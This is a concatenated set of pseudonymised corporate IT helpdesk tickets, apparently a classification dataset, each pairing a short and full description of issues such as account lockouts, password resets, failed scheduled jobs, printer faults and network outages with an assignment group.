\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
company infrastructure gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx und naruedlk mpvhakdq
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ad locked out, Description: ad locked out, is assigned to Assignment group: GRP\_0.Ticket with Short description: user wants to log in to infonet, Description: user wants to log in to infonet, is assigned to Assignment group: GRP\_0.Ticket with Short description: no access to netweaver, Description: when i try to connect with netweaver these 2 messages appears.\_x000D\_
1 / access way not found.\_x000D\_
2 / this don't treat properties of ''register library''., is assigned to Assignment group: GRP\_0.Ticket with Short description: error code 0x0 when accessing user dashbankrd on mobile app, Description: when accessing dashbankrd created for ap management team on mobile app, the above error code is encountered. see attached screenshots., is assigned to Assignment group: GRP\_40.Ticket with Short description: check router wifi (router: sao-pollaurido-mercedes-ap)- site: south\_amerirtca - sp - sÃ£o bernardo campo (mercedes benz), Description: hi team, please check the router wifi sao-pollaurido-mercedes-ap, the site company -south\_amerirtca - sÃ£o pollaurido / sÃ£o bernardo campo. no is possible connect network wifi - companysecure, this network no is visible to users local. if you need connect remotely or has more doubts please, return me.. , is assigned to Assignment group: GRP\_4.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 08/29/2016 07:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 08/29/2016 07:30:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: password unlock for venkthrysh, Description:
received from: nmtekfrz.tjxzeuqm@gmail.com
hi,
please unlock the password for userid venkthrysh
the laptop is locked due to entering wrong password. , is assigned to Assignment group: GRP\_0.Ticket with Short description: wendt wac 745 quattro's 5 & 6 an pc bzw. server anschlieÃŸen, Description: bitte die letzten 2 umfangsschleifmaschinen in plant\_107 / ce iso g an den computer bzw. an server anschlieÃŸen, damit man sich den usb stick sparen & die programdntyme direkt auf die maschine ziehen kann., is assigned to Assignment group: GRP\_42.Ticket with Short description: printer configuration., Description: 962
summary:i want to configure printer to my laptop which is available in t1, is assigned to Assignment group: GRP\_0.Ticket with Short description: the tess application on citrix does not work anymore., Description: when i login to kas.company.com and try to start the tess app i receive the error message.\_x000D\_
i have contacted by our designes in scandinavia from the company fortive that they receive the same error message.\_x000D\_
please do the needful, is assigned to Assignment group: GRP\_12.Ticket with Short description: it help, Description: \_x000D\_
\_x000D\_
received from: scjxobhd.ldypjkmf@gmail.com\_x000D\_
\_x000D\_
hello help team,\_x000D\_
\_x000D\_
can you pls. open a ticket to be assigned to fÃ¼rth.\_x000D\_
i need help with excel and hardcopy.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_28.Ticket with Short description: asking about cost of material of plant\_82, Description: dear it team
i have sent ticket to -erp-fico as below since last friday but i have not received ticket number yet till now. please advise.
best , is assigned to Assignment group: GRP\_44.Ticket with Short description: unable to change my telephony\_software password - it has not yet expired (expires in 4 days), Description: please change my telephony\_software interaction desktop password. i get a message that the request to change password has failed (pls see the attached screenshot), is assigned to Assignment group: GRP\_7.Ticket with Short description: following up, Description: hello it,\_x000D\_
\_x000D\_
please can you block this email address in company email server.? \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: connectivity issue at company carrier location, Description: fya.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_4.Ticket with Short description: erp SID\_34 password reset, Description: erp SID\_34 password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 08/29/2016 05:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 08/29/2016 05:20:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: reset passwords for cesgrtar abgrtyreu using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: telefon-display, Description: \_x000D\_
\_x000D\_
received from: pnroqajb.psbyfhkg@gmail.com\_x000D\_
\_x000D\_
hallo helpteam,\_x000D\_
\_x000D\_
das display meines telefons ist teilweise unsichtbar und somit ganz schlecht abzulesen.\_x000D\_
\_x000D\_
vielen dank!\_x000D\_
\_x000D\_
viele grÃ¼ÃŸe / best , is assigned to Assignment group: GRP\_33.Ticket with Short description: business\_client issue , Description: :+49
summary:need netweaver to check drawing documents. when opening follwing error message " microsoft.net framdntyework 4.5 not installed. please contact administrator", is assigned to Assignment group: GRP\_0.Ticket with Short description: phone is not connoected wit caas server., Description: hello;
i can't pick up the pone, this is the error message.
could you help me please?.
id 31751
best , is assigned to Assignment group: GRP\_7.Ticket with Short description: delievery item category determination, Description: delievery item category determination for rl -0001 has to be assigned., is assigned to Assignment group: GRP\_45.Ticket with Short description: access to common mail box, Description: \_x000D\_
\_x000D\_
received from: pradtheypxsuqgidj.txlpcqsg@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am the owner of the following common mail box;\_x000D\_
\_x000D\_
1. -knowledge.center@kenametal.com<mailto:-knowledge.center@kenametal.com>\_x000D\_
\_x000D\_
2. w-in-knowledge.center@company.com<mailto:w-in-knowledge.center@company.com>\_x000D\_
\_x000D\_
my concern today is that i am able to view w-in-knowledge.center@company.com<mailto:w-in-knowledge.center@company.com> but unable to view -knowledge.center@company.com<mailto:-knowledge.center@company.com>\_x000D\_
pl see below the screenshot. request, pl resolve the same.\_x000D\_
\_x000D\_
[cid:image001.jpg@01d201fe.b2f53120]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: kurtyar khty, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
please reset the password and send the new password to his manager mr. sbfhydeep kurtyar <nrbgctwm.kfwdhrmt@gmail.com>
emp no
name
useid
manager
20293560
saoltrmy xyuscbkn
kurtyar khty
nrbgctwm kfwdhrmt
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: vvrttraja, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
mr. aetwpiox eijzadco is unable to login ess portal. please reset the password and send the new password to his manager mr. shynhjundar s <tauogwvl.xfvqakdw@gmail.com>
emp no
name
useid
manager
202856785
aetwpiox eijzadco
vvttraja
shynhjundar s
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn router : company-eu-deu-germany-dmvpn-1811-rtr02 down, Description: vpn router : company-eu-deu-germany-dmvpn-1811-rtr02 down\_x000D\_
erp is working ok\_x000D\_
everything else is very slow., is assigned to Assignment group: GRP\_8.Ticket with Short description: urgent shipping issue., Description: hello wohtyugang and ethryju. we have a critical situation with shipping on distributor\_tool. this customer has complained before and i researched but couldn't determine a problem. we had another customer, bill north, with atnh call for 2nd time yesterday. they are saying when they choose the nda shipping the orders are changing to ups ground. i thought originally they might be setting the carrier and then selecting the ship to but as you can see if the screenshot this is not the case.
i will continue to uacyltoe hxgaycze and try to determine the problem but i wanted to get this reported as quickly as possible.
, is assigned to Assignment group: GRP\_21.Ticket with Short description: complaint 7611183254 / workfflow, Description: i create a complaint 7611183254\_x000D\_
the complaint ist not in the workflow to approval\_x000D\_
please help me, is assigned to Assignment group: GRP\_13.Ticket with Short description: anmeldeaccount "mp\_ek" am pc "empw8111328a:--12/13 einrichten . bei rÃ¼ckfragen durchwahl 134 bei lqjoagzt gqueiatx ., Description: am oben genannten pc muss der anmeldename "mp\_ek" freigegeben werden. wie mit crishtyutian pryes besprochen., is assigned to Assignment group: GRP\_0.Ticket with Short description: monitor tauschen \htvepyua izgulrcf, Description: monitor tauschen \htvepyua izgulrcf, is assigned to Assignment group: GRP\_24.Ticket with Short description: customer name "hronovsky" does not listed in engineering tool. erp id - 8561028063., Description: name:rekmqxfn jctgwmyi
language:
browser:microsoft internet explorer
email:rekmqxfn.jctgwmyi@gmail.com
customer number:
telephone:0042
summary:customer name "hronovsky" does not listed in engineering tool. erp id - 8561028063.
please check and add this customer.
, is assigned to Assignment group: GRP\_25.Ticket with Short description: netzwerk fÃ¼r scan nicht verfÃ¼gbar, bitte prÃ¼fen we10 und we111 \vzqomdgt jwoqbuml, Description: netzwerk fÃ¼r scan nicht verfÃ¼gbar, bitte prÃ¼fen we10 und we111 \vzqomdgt jwoqbuml, is assigned to Assignment group: GRP\_24.Ticket with Short description: zeitwirtschaft germany, Description: seit 25.08.2016, 6.00 uhr morgens, sind fÃ¼r werk germany keine zeitbuchungen vorhanden. bitte den fehler beheben. dringend !!!!!\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
the reason of this ticket is that for germany plant (and also for germany plants)\_x000D\_
we do not get any time â€“ account data from EU\_tool transferred to erp hrp.\_x000D\_
the problem exists since aug 25!!!\_x000D\_
\_x000D\_
it has nothing to do with today`s network problems at germany.\_x000D\_
\_x000D\_
this is serious because of month end closing on thursday.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: probleme mit we\_wu123 \xwirzvda okhyipgr, Description: probleme mit we\_wu123 \xwirzvda okhyipgr, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit kiosk\ompeztak ilkpqtjh \bur am orde, Description: probleme mit kiosk\ompeztak ilkpqtjh \bur am orde, is assigned to Assignment group: GRP\_24.Ticket with Short description: sql installation, Description: sql software installation, is assigned to Assignment group: GRP\_19.Ticket with Short description: we 108 scannt nicht mehr , Description: hallo ,\_x000D\_
\_x000D\_
unser drucker we 108 scannt nicht mehr richtig ein. es kommt immer die meldung â€žauftrag wurde nicht abgeschlossen". wenn man dann auf detail geht steht dort â€žanmelde fehler". kannst du das bitte mal Ã¼berprÃ¼fen?\_x000D\_
am freitag ging es noch, samstag trat dann dieser fehler auf.\_x000D\_
, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_34\_x000D\_
\_x000D\_
enter user id of user having the issue:rethtyuzkd\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with: fb01\_x000D\_
\_x000D\_
describe the issue:\_x000D\_
please remove\_x000D\_
fi:gl\_accountant\_ch\_x000D\_
fi:gl\_accountant\_we\_x000D\_
as per voprdmae ivrgdmao and ltnivuhw zbudwnfr user should not be able to post accounting documents. \_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket.\_x000D\_
\_x000D\_
provide access the same as this other user:, is assigned to Assignment group: GRP\_2.Ticket with Short description: reset passwords for bxeagsmt zrwdgsco using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: password reset , Description: \_x000D\_
\_x000D\_
received from: htburown.hpkfjqyr@gmail.com\_x000D\_
\_x000D\_
hai ,\_x000D\_
\_x000D\_
can you reset my passwords for all logins,\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_895 is down since 03:04 am et on 08/29., Description: HostName\_895 is down since 03:04 am et on 08/29.
the server is rebooted at 3am daily but for today after reboot the server is still down.
srirgrtyam has been informed., is assigned to Assignment group: GRP\_12.Ticket with Short description: help to create delivery for sto 4908050542, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
would you pls help to create delivery note for sto 5019161653,it's urgent for plant\_305,for something error we unable to create, , is assigned to Assignment group: GRP\_6.Ticket with Short description: cannot login, Description: good morning,
we cannot login to SID\_1 due the following error:
"logon balancing error 88: could not connect to message server: (rc=9)
do you want to see detailed error information?"
can you please check and let me know?
he error exists at least for fleisrgtyk and me (leibdrty), is assigned to Assignment group: GRP\_0.Ticket with Short description: user account is being locked again - zhrgtangs7, Description:
received from: kbclinop.vsczklfp@gmail.com
hi,
user id : zhrgtangs7 account is being locked again when the computer went into screensaver.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: engineering\_tool installation issue for distribuators, Description: detailed description of the problem including shopfloor machine name?\_x000D\_
\_x000D\_
sogo / engineering\_tool [or other app using vlan50] location?\_x000D\_
\_x000D\_
source ip from traffic generated?\_x000D\_
\_x000D\_
destination ip?\_x000D\_
\_x000D\_
type of application (eg: rdp / ping / teamviewer)?\_x000D\_
\_x000D\_
any specific port traffic alone been blocked?\_x000D\_
\_x000D\_
when did it work last?\_x000D\_
\_x000D\_
is the issue specific to only the location mention or for other sogo / engineering\_tool location?\_x000D\_
\_x000D\_
additionally attach the screenshot of the ping / tracert traffic.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem beim skannen von unterlagen, Description:
received from: jctnelqs.lansuiwe@gmail.com
verehrte damen und herren,
aktuell funktioniert das einskannen von unterlagen nicht. (â€¦.kein zugriff)
drucker mp72
pc â€“ nr. empw8111312
bitte um abhilfe.
mit freundlichem gruÃŸ
jctnelqs lansuiwe
quality assurance
jctnelqs.lansuiwe@gmail.com<mailto:jctnelqs.lansuiwe@gmail.com>
persÃ¶nlich haftende gesellschafterin: company gmbh
sitz der gesellschaft: fÃ¼rth - registergerirtcht: fÃ¼rth hrb 10257
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ms office 2016 installation wird nicht abgeschlossen, siehe anhang! tel.: 107, Description: office installation wird nicht abgeschlossen!, is assigned to Assignment group: GRP\_0.Ticket with Short description: tr: rappel: vous avez un nouveau message ! \*\*\*\* spam \*\*\*\*, Description: \_x000D\_
\_x000D\_
received from: hupnceij.hyozjakb@gmail.com\_x000D\_
\_x000D\_
hello all,\_x000D\_
it's a spam, i do not have any account in ingdirect, and if i would have one, wouldn't related to my company email\_x000D\_
\_x000D\_
sincÃ¨res salutations, best , is assigned to Assignment group: GRP\_0.Ticket with Short description: scannen funktioniert nicht, Description: scannen auf publik beim drucker mp60 funktioniert nicht., is assigned to Assignment group: GRP\_33.Ticket with Short description: zlgmctws khfjzyto donÂ´t have access to her computer / she has forgotten her password, could you please help us?, Description: \_x000D\_
\_x000D\_
received from: qbewrpfu.lwibmxzo@gmail.com\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked out and password reset , Description: account locked out and password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password locked, Description: \_x000D\_
\_x000D\_
received from: gnasmtvx.cwxtsvkm@gmail.com\_x000D\_
\_x000D\_
hi.\_x000D\_
\_x000D\_
please unblock the erp password.\_x000D\_
\_x000D\_
userid: hegdthy (gnasmtvx cwxtsvkm)\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: scanner im werk germany steel funktionieren nicht!, Description: for your information: ngprt29, the printer name, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1338 failed in job\_scheduler at: 08/29/2016 02:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1338 failed in job\_scheduler at: 08/29/2016 02:14:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: laptop key bankrd not working, Description: please do the needful.
for company
athjyul dixhtyuit ,
m +91
from: athjyul dixhtyuit
sent: saturday, july 30, 2016 1:14 pm
to: 'help@company.com' <help@company.com>
subject: laptop key bankrd not working
my laptop key bankrd not working . please depute dell person to attend the problem.
laptop model is latitude 7350.
asset code is 801302
service tag-dcgw262
for company
athjyul dixhtyuit
senior manager sales - north ( msg)
qubywmgf.jouickqx@gmail.com
companytm
, is assigned to Assignment group: GRP\_19.Ticket with Short description: not able to print on id02, Description: not able to print on id02, is assigned to Assignment group: GRP\_19.Ticket with Short description: scannen vom scanner vh48 geht nicht mit dem hinweise: laufwerk nicht bekannt!, Description: scannen vom scanner vh48 geht nicht mit dem hinweise: laufwerk nicht bekannt!, is assigned to Assignment group: GRP\_0.Ticket with Short description: our printer rn33 at plant\_223 doesn't work, Description: hello,\_x000D\_
our printer rn33 at plant\_223 for production papers doesn't work.\_x000D\_
we need it support a.s.a.p.\_x000D\_
, is assigned to Assignment group: GRP\_33.Ticket with Short description: beim scannen von auftrÃ¤gen kommt die meldung das der pfad nicht existiert, Description: beim scannen von auftrÃ¤gen kommt die meldung das der pfad nicht existiert, is assigned to Assignment group: GRP\_33.Ticket with Short description: nx is not opening through extr but nx power drafting is opening, Description: name:megfgthyhana
language:
browser:microsoft internet explorer
email:pkzthgea.kgvsdmpj@gmail.com
customer number:
telephone:073
summary:nx is not opening through extr but nx power drafting is opening, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp login error, Description: \_x000D\_
\_x000D\_
received from: rmezbnqt.ntbmkpuh@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i am unable to login to erp please do the needful.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d201e2.2bb514d0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: account information updated, Description: hi, \_x000D\_
\_x000D\_
could you please confirm whether this is a genuine mail??\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: wi fi connectivity issues, Description:
received from: dshferby.houtnzdi@gmail.com
dear team,
good morning.
we observe lot of wi fi connectivity issues in kirgtyan training room ( pu6 ground floor), taranga ( pu6, i floor), pu5 i floor office area, emerald conference room (admin i floor).
kind request you to look into that.
, is assigned to Assignment group: GRP\_4.Ticket with Short description: telecom\_vendor\_2 card is not working , Description: telecom\_vendor\_2 card is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: power is not working, Description: computer wont turn on \_x000D\_
power is not working, is assigned to Assignment group: GRP\_19.Ticket with Short description: account locked out and password reset , Description: account locked out and password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: monday, august 29, 2016 9:07 am
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: rad:request to reset microsoft online services password for tgynoqcs.uxfyzrma@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ tgynoqcs.uxfyzrma@gmail.com
â€¢ first name: nehtjuavathi
â€¢ last name: patirjy
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: from: hzudxyqb qsmrwvle \_x000D\_
sent: monday, august 29, 2016 8:38 am\_x000D\_
to: nwfodmhc exurcwkm\_x000D\_
subject: rad:fw: your mobile device is temporarily blocked from synchronizing using exchange activesync until your administrator usas it access.\_x000D\_
importance: high\_x000D\_
\_x000D\_
please restore my mobile settings to enable access emails on mobile.\_x000D\_
\_x000D\_
thanking you,\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not working, Description: name:vivian kurtyar
language:
browser:microsoft internet explorer
email:jecigpzw.gqpmxwal@gmail.com
customer number:
telephone:
summary:outlook not working, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp not working , Description: \_x000D\_
\_x000D\_
received from: irqpwgtn.dpautgeh@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
following message is coming while clicking erp icon:\_x000D\_
\_x000D\_
emp code: 2027646758\_x000D\_
user id: schyhty\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.jpg@01d20129.ebbd62f0]\_x000D\_
\_x000D\_
with best , is assigned to Assignment group: GRP\_0.Ticket with Short description: error while changing password in password\_management\_tool password manager (error msg is attached), Description: error while changing password in password\_management\_tool password manager. please see attached snapshot & do the needful., is assigned to Assignment group: GRP\_0.Ticket with Short description: please help to unlock pw for user: zhrgtangs7, Description: \_x000D\_
\_x000D\_
received from: kbclinop.vsczklfp@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
we tried to unlock from password\_management\_tool site but failed. please help to unlock for user : zhrgtangs7.\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 08/28/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 08/28/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 08/28/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 08/28/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 08/28/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 08/28/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: not able to login attendance\_tool, Description: i am not able to login attendance\_tool application. my user id is 210516 , is assigned to Assignment group: GRP\_0.Ticket with Short description: apac china pbx/telephony\_software system issue, Description: apac china& dc have ip phone issue, one e1 lineï¼ˆphone number range 2062xxxxï¼‰ can't dial out exterior lineï¼Œif you dial out exterior line, we always received busy tone, but we can dial in. i called pbx vendor(siemens) engineer & isp to check their devices, the feedback is all devices working fine. so they let us to check our audiocodes devices, cause all line connect to audiocodes. please contact related person to contact me & help me solve the problem. , is assigned to Assignment group: GRP\_37.Ticket with Short description: ç”µè„‘å¯†ç åŒæ­¥é—®é¢˜, Description: hi gartryhu,\_x000D\_
\_x000D\_
æˆ‘çŽ°åœ¨ç”µè„‘æœ‰å‡ ä¸ªé—®é¢˜ï¼Œèƒ½å¦è¿œç¨‹è¿žæŽ¥åŽå¸®æˆ‘å¤„ç†ä¸€ä¸‹ã€‚\_x000D\_
\_x000D\_
æœ€è¿‘æ›´æ”¹å¯†ç å¹¶è¯•å›¾åŒæ­¥åŽï¼ŒåŒæ­¥æ²¡å®Œæˆï¼Œå¼€æœºå¯†ç ä¸Žé‚®ä»¶å¯†ç ä¸ç»Ÿä¸€ï¼Œä¸”ä¸èƒ½ä½¿ç”¨è‚¯çº³è´­ç‰©ç½‘ï¼Œæœ€ä¸¥é‡çš„æ˜¯ï¼ŒvpnçŽ°åœ¨è¿žä¸ä¸Šäº†ï¼Œæç¤ºæ˜¯å¯†ç é”™è¯¯ï¼Œå¯æˆ‘æ— è®ºè¾“å…¥åŽŸæ¥çš„å¯†ç æˆ–æ›´æ”¹åŽçš„å¯†ç ï¼Œéƒ½ä¸èƒ½è¿žæŽ¥ï¼Œèƒ½å¸®å¿™è§£å†³ä¸€ä¸‹å—ï¼Ÿ\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_31.Ticket with Short description: shipping notice, Description: from: north service
sent: monday, august 29, 2016 7:42 am
to: nwfodmhc exurcwkm
cc: hrlwizav elyamqro
subject: rad:shipping notice
hello,guys
pls kindly set shipping notice under plant\_283 for below customer to hrlwizav.elyamqro@gmail.com
81507257
70443464
81857752
, is assigned to Assignment group: GRP\_18.Ticket with Short description: skype could not work, Description: skype could not work ï¼Œcan not hear anything, is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop slowness issue, Description: laptop slowness while using multiple apps at a time. , is assigned to Assignment group: GRP\_19.Ticket with Short description: wgq dcæ‰€æœ‰ç”µè¯æ— æ³•æ‹¨é€šå¤–çº¿, Description: wgq dcæ‰€æœ‰ç”µè¯æ— æ³•æ‹¨é€šå¤–çº¿ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: wireless outage again-taiwan 0829, Description: \_x000D\_
\_x000D\_
received from: ticqvhal.vgokzesi@gmail.com\_x000D\_
\_x000D\_
hello~\_x000D\_
\_x000D\_
wireless(companysecure) outage of taiwan.\_x000D\_
please help~\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: request to reset microsoft online services password for nhjpxoct.ewngozhx@gmail.com, Description: request to reset microsoft online services password for nhjpxoct.ewngozhx@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bk\_hana\_SID\_61\_erp\_wly\_dp failed in job\_scheduler at: 08/28/2016 20:08:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_61\_erp\_wly\_dp failed in job\_scheduler at: 08/28/2016 20:08:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: ç”µè„‘ä¸èƒ½å¼€æœº, Description: æ—©ä¸Šä¸Šç­ç”µè„‘æ‰“ä¸å¼€ã€‚, is assigned to Assignment group: GRP\_30.Ticket with Short description: engineering tool access requested, Description: engineering tool access requested, is assigned to Assignment group: GRP\_0.Ticket with Short description: broken client anti virus , Description: broken client anti virus , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1306 failed in job\_scheduler at: 08/28/2016 17:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1306 failed in job\_scheduler at: 08/28/2016 17:21:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_551 failed in job\_scheduler at: 08/28/2016 15:23:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_551 failed in job\_scheduler at: 08/28/2016 15:23:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_3194 failed in job\_scheduler at: 08/28/2016 14:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3194 failed in job\_scheduler at: 08/28/2016 14:10:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job snp\_heu\_5\_regen failed in job\_scheduler at: 08/28/2016 13:32:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_5\_regen failed in job\_scheduler at: 08/28/2016 13:32:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job bk\_hana\_SID\_62\_erp\_wly\_dp failed in job\_scheduler at: 08/28/2016 13:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bk\_hana\_SID\_62\_erp\_wly\_dp failed in job\_scheduler at: 08/28/2016 13:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_1304 :volume consumed on /dev/mksysbalv is more than 85%, Description: HostName\_1304 :volume consumed on /dev/mksysbalv is more than 85%.\_x000D\_
, is assigned to Assignment group: GRP\_47.Ticket with Short description: unable to approve expense report 2111137500 , Description: from: proygkjt mwetuhqf
sent: sunday, august 28, 2016 7:11 pm
to: nwfodmhc exurcwkm
cc: ifblxjmc dyrgfwbm; callie pollaurid
subject: re: expense report 2111137500 has been submitted.
jeffrghryeytyf strigtyet submitted his expenses below but it did not show up as a task for me to approve in the ess portal. i've approved three other employees. two before jeffrghryey submitted his and one after. please identify why jeffrghryey's expense submittal did not show up in my system to approve. i received the workflow email that he did submit.
-----original message-----
from: workflow system [mailto:wf-batch@company.com]
sent: friday, august 26, 2016 6:14 pm
to: proygkjt mwetuhqf <proygkjt.mwetuhqf@gmail.com>
subject: expense report 2111137500 has been submitted.
the following expense report has been submitted for your approval:
personnel no.: 12156719280 (jeffrghryeyrghryey a strgrtyiet)
expense report no.: 2111137500
start date: 25.07.2016 08:00:00
end date: 24.08.2016 17:00:00
total costs: usd 1.141,89
reimbursement amount: usd 1.141,89
to review this expense report in full, please log into your universal worklist on manager self-service.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_504 failed in job\_scheduler at: 08/28/2016 09:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_504 failed in job\_scheduler at: 08/28/2016 09:43:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_494 failed in job\_scheduler at: 08/28/2016 09:22:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_494 failed in job\_scheduler at: 08/28/2016 09:22:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/28/2016 08:35:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/28/2016 08:35:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: power outage:usa- (company) - divestiture site is hard down since at 7:40 am et on 08/28/16., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_7:40 am et on 08/28/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
